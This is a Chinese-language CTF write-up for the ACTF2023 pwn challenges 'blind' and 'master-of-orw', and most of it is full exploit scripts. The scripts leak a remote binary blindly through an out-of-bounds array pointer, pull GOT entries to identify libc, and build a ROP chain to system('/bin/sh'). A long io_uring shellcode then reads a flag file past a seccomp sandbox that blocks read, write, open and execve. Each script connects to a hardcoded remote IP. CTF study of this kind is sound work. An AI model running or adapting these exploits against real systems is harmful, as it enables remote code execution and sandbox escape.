ACTF2023-PWN

本文最后更新于:2024年8月29日 下午

blind

这是我做的第一道盲打的pwn题,感觉主要就是需要泄露信息,能够泄露信息之后就好做了

在这道题目中,存在数组越界,并且指向数组的指针就在数组后面,所以可以通过修改数组指针来达到信息泄露以及任意地址写的操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
"""
泄露程序内容
"""
from pwn import *
import time
debug=0

def send(p,data):
p.sendline(data)
d=p.readuntil(b'\n>')[1:-2]
if debug:
for i in d:
print(f"{i:02x} ",end='')
print(": %s"%d)
print(len(d))
try:
return u64(d)
except:
return d

def check(ind):
cache=""
n=0
while True:
p=remote("120.46.65.156","32104")
p.readuntil(b"submit.")
p.readuntil(b'>')
stack=send(p,b"8d8w")
elf=send(p,b"8a8w8a")+ind
success(f"{elf=:x} {stack=:x}")
stack=stack+8
code=""
for i in range(8):
sc=(stack>>(i*8))&0xff
ec=(elf>>(i*8))&0xff
if sc>ec:
code+="%ss1d"%(sc-ec)
elif sc<ec:
code+="%sw1d"%(ec-sc)
else:
code+='1d'
data=send(p,code.encode())
p.close()
if type(data)==int:
cdata=p64(data)
else:
cdata=data[1:2]+data[3:]
print(cdata)
# p.interactive()
print(cdata,cache,ind)
if n==0:
cache=cdata
elif cdata==cache:
return cdata
else:
cache=cdata
n+=1
if n>=10:
return b'\x00'*8
time.sleep(0.05)


fdata=b''
ind=8
try:
while True:
data=check(ind)
fdata+=data
f=open('elf1','wb')
f.write(fdata)
f.close()
ind+=8
except:
pass
ind=0
fdata=b''
try:
while True:
data=check(ind)
fdata=data+fdata
f=open('elf2','wb')
f.write(fdata)
f.close()
ind-=8
except:
pass

在获取程序内容时会有些乱七八糟的数据,导致ida解析失败,所以需要手动解析.rela,.sym,.str表的信息,获取库函数对应got表地址,然后再泄露got表数据,获取目标靶机libc版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
"""
泄露got表信息
"""
from pwn import *
import time
debug=0

def send(p,data):
p.sendline(data)
d=p.readuntil(b'\n>')[1:-2]
if debug:
for i in d:
print(f"{i:02x} ",end='')
print(": %s"%d)
print(len(d))
try:
return u64(d)
except:
return d

def check(ind):
cache=""
n=0
p=remote("120.46.65.156","32104")
p.readuntil(b"submit.")
p.readuntil(b'>')
stack=send(p,b"8d8w")
elf=send(p,b"8a8w8a")-0x1580+ind
success(f"{elf=:x} {stack=:x}")
stack=stack+8
code=""
for i in range(8):
sc=(stack>>(i*8))&0xff
ec=(elf>>(i*8))&0xff
if sc>ec:
code+="%ss1d"%(sc-ec)
elif sc<ec:
code+="%sw1d"%(ec-sc)
else:
code+='1d'
data=send(p,code.encode())
p.close()
if type(data)==int:
return (hex(data))
else:
return (hex(u64(data[1:2]+data[3:])))
import os

gots={"free":0x4018,
"putchar":0x4020,
"toupper":0x4028,
"puts":0x4030,
"setbuf":0x4038,
"printf":0x4040,
"memset":0x4048,
"getline":0x4050,
"exit":0x4058,
"libc_start_main":0x3fe0}
syms={}
for i in gots:
syms[i]=check(gots[i])
for i in gots:
print("%s: %s"%(i,syms[i]))

got表信息

libc版本

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
"""
攻击脚本
exp中使用的libc版本为 Debian GLIBC 2.31-13+deb11u2

脚本执行之后需要手动回车才能获取shell
并且pwntools不能用4.11.0,否则直接回车会导致交互断开
"""
from pwn import *
import time
debug=1

def send(data):
p.sendline(data)
d=p.readuntil(b'\n>')[1:-2]
if debug:
for i in d:
print(f"{i:02x} ",end='')
print(": %s"%d)
print(len(d))
return d

p=remote("120.46.65.156","32104")
p.readuntil(b"submit.")
p.readuntil(b'>')

stack=u64(send("8d8w"))
print(hex(stack))
send("8a8s")
pause()
libc=ELF("./libc1")
libc_main=(u64(send("8d24w")))
libc.address=libc_main-0x23d0a-0x41660+0x3e660
ret=0x000000000002535f+libc.address
rdi=0x0000000000026796+libc.address
system=libc.sym['system']
puts=libc.sym['puts']
bin_sh=stack+8+8+8*3
print(hex(bin_sh))

payload=p64(rdi)+p64(bin_sh)+p64(system)+b'/bin/sh\x00'
print(payload)

#gadget=libc.sym['']
ind=0
srcdata=p64(libc_main)
while len(srcdata)<len(payload):
if ind==0:
srcdata+=send("24a8w")
ind+=8
else:
srcdata+=send("8a8w")
ind+=8
if ind!=0:
send(f"8a{ind}s")
print(ind)
ind+=16
send(f"{ind}d")
else:
send("8a")
print(payload)
print(srcdata)
code=""
for i,ec in enumerate(payload):
sc=srcdata[i]
if sc>ec:
code+="%ss1d"%(sc-ec)
elif sc<ec:
code+="%sw1d"%(ec-sc)
else:
code+='1d'
print(code)
send(code)
p.interactive()
p.close()

执行效果

master-of-orw

程序开启了seccomp沙盒,禁用了多数常用的io系统调用
沙盒信息

沙盒禁用的系统调用:

  • 读取数据: read,readv,preadv,preadv2
  • 写入数据: write,writev,pwritev,pwritev2
  • 打开文件: open,openat,name_to_handle_at,open_by_handle_at,open_tree,openat2
  • 执行命令: execve,execveat

通常在这种沙盒的保护下,是无法泄露flag文件的内容的,不过在新版的linux中引用了新的io框架 io_uring,是一种高性能异步I/O框架

io_uring可以通过io_uring_setup,io_uring_enter两个系统调用来实现打开文件,读取文件,写入文件的操作

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
"""
exp
如果觉得汇编不好写,可以先用c写一个模板,然后复制编译好的汇编指令
"""
from pwn import *
context.arch='amd64'
shellcode="""
mov rbp,rsp
sub rsp,0x400
mov eax,0
mov ecx,0x80
mov rdi,rsp
rep stosq
mov rdi,16
lea rsi,[rbp-0x3f8]
mov eax,425
syscall

mov [rbp-0x400],rax

/* io_uring_mmap */
lea rdi,[rbp-0x380]
xor rax,rax
mov [rdi],rax
mov [rdi+208],rax

mov eax,dword ptr [rbp-0x3f8+4*16]
mov ebx,dword ptr [rbp-0x3f8]
lea rax,[eax+ebx*4]

mov ebx,dword ptr [rbp-0x3f8+4*25]
mov esi,dword ptr [rbp-0x3f8+4]
shl rsi,4
lea rcx,[rsi+rbx]

mov [rbp-0x380+8*9],rax
mov [rbp-0x380+104+8*7],rcx

mov ebx,dword ptr [rbp-0x3f8+5*4]
and ebx,1
test ebx,ebx
jz label1_1

cmp rax,rcx
jge label1_2
mov rax,rcx
label1_2:
mov [rbp-0x380+8*9],rax
mov [rbp-0x380+104+8*7],rax

label1_1:
mov rsi,rax
xor rdi,rdi
mov rdx,3
mov r10,32769
mov r8,[rbp-0x400]
xor r9,r9
mov rax,9
syscall

mov [rbp-0x380+8*10],rax

mov rcx,7
label1:
mov ebx,dword ptr [rbp-0x3f8+4*9+rcx*4]
lea rbx,[rbx+rax]
mov [rbp-0x380-8+rcx*8],rbx
dec rcx
test rcx,rcx
jnz label1


mov rsi,[rbp-0x380+104+8*7]
mov rdi,0
mov rdx,3
mov r10,32769
mov r8,[rbp-0x400]
mov r9d,0x8000000
mov rax,9
syscall

mov [rbp-0x380+104+8*8],rax

mov rcx,7
label2:
mov ebx,dword ptr [rbp-0x3f8+4*19+rcx*4]
lea rbx,[rbx+rax]
mov [rbp-0x380+104+rcx*8],rbx
dec rcx
test rcx,rcx
jnz label2

mov ebx,dword ptr [rbp-0x3f8+4*26]
test ebx,ebx
jz label3
jmp label4
label3:
xor rbx,rbx
mov [rbp-0x380-8+104+4*8],rbx

label4:
mov esi,dword ptr [rbp-0x3f8]
shl rsi,6
xor rdi,rdi
mov rdx,3
mov r10,32769
mov r8,[rbp-0x400]
mov r9,0x10000000
mov rax,9
syscall
mov [rbp-0x380+7*8],rax

mov eax,dword ptr [rbp-0x400]
mov dword ptr [rbp-0x380+196],eax

mov eax,dword ptr [rbp-0x3f8+4*2]
mov dword ptr [rbp-0x380+192],eax

mov eax,dword ptr [rbp-0x3f8+4*5]
mov dword ptr [rbp-0x380+200],eax

/* io_uring_mmap end*/

/*
mov rdx,[rbp-0x400]
lea rdi,[rbp-0x380]
mov [rdi+196],rdx
*/


/* open */

mov rax,0x67616c66
mov [rbp-0x60],rax
lea rdi,[rbp-0x380]
call io_uring_get_sqe

mov [rbp-0x70],rax
mov rsi,rax
mov rdx,-100
lea rcx,[rbp-0x60]
xor r8,r8
xor r9,r9
mov rdi,18
call io_uring_prep_rw


mov rdi,[rbp-0x70]

mov rax,4
mov [rdi+32],rax

xor rax,rax
mov dword ptr [rdi+28],eax


/* read */
lea rdi,[rbp-0x380]
call io_uring_get_sqe

mov rsi,rax

mov rdx,4
lea rcx,[rbp-0x60]
mov r8,0x50
xor r9,r9
mov rdi,22
call io_uring_prep_rw


/* write */
lea rdi,[rbp-0x380]
call io_uring_get_sqe

mov rsi,rax
mov rdx,1
lea rcx,[rbp-0x60]
mov r8,0x50
xor r9,r9
mov rdi,23
call io_uring_prep_rw

mov edi,dword ptr [rbp-0x380 + 196]
mov esi,dword ptr [rbp-0x380+64]
xor rdx,rdx
xor r10,r10
xor r8,r8
mov r9,8
mov rax,426
syscall

while:
jmp while

io_uring_prep_rw:
xor rbx,rbx
mov byte ptr [rsi],dil
mov byte ptr [rsi+1],bl
mov word ptr [rsi+2],bx
mov dword ptr [rsi+4],edx
mov [rsi+8],r9
mov [rsi+16],rcx
mov dword ptr [rsi+24],r8d
mov dword ptr [rsi+28],ebx
mov [rsi+32],rbx
mov word ptr [rsi+40],bx
mov word ptr [rsi+42],bx
mov dword ptr [rsi+44],ebx
mov qword ptr [rsi+56],rbx
mov rbx,[rsi+56]
mov [rsi+48],rbx
ret


io_uring_get_sqe:
mov rax, [rdi]
xor r8d, r8d
mov ecx, [rax]
mov eax, [rdi+0x44]
lea edx, [rax+1]

mov rcx, [rdi+0x10]
mov r10,[rcx]
and eax,dword ptr [rcx]
mov rcx,[rdi+48]
mov dword ptr [rcx+4*rax],eax

mov [rdi+0x44], edx
mov [rdi+64],edx
mov rcx,[rdi+8]
mov dword ptr [rcx],edx

shl rax, 6
add rax, [rdi+0x38]
ret
"""

print(len(asm(shellcode)))
context.log_level='debug'
p=remote("120.46.65.156","32101")
p.sendlineafter('code',asm(shellcode))
p.interactive()
p.close()

执行效果


ACTF2023-PWN
https://rot-will.github.io/page/wp/ACTF2023-PWN/
作者
rot_will
发布于
2023年10月31日
更新于
2024年8月29日
许可协议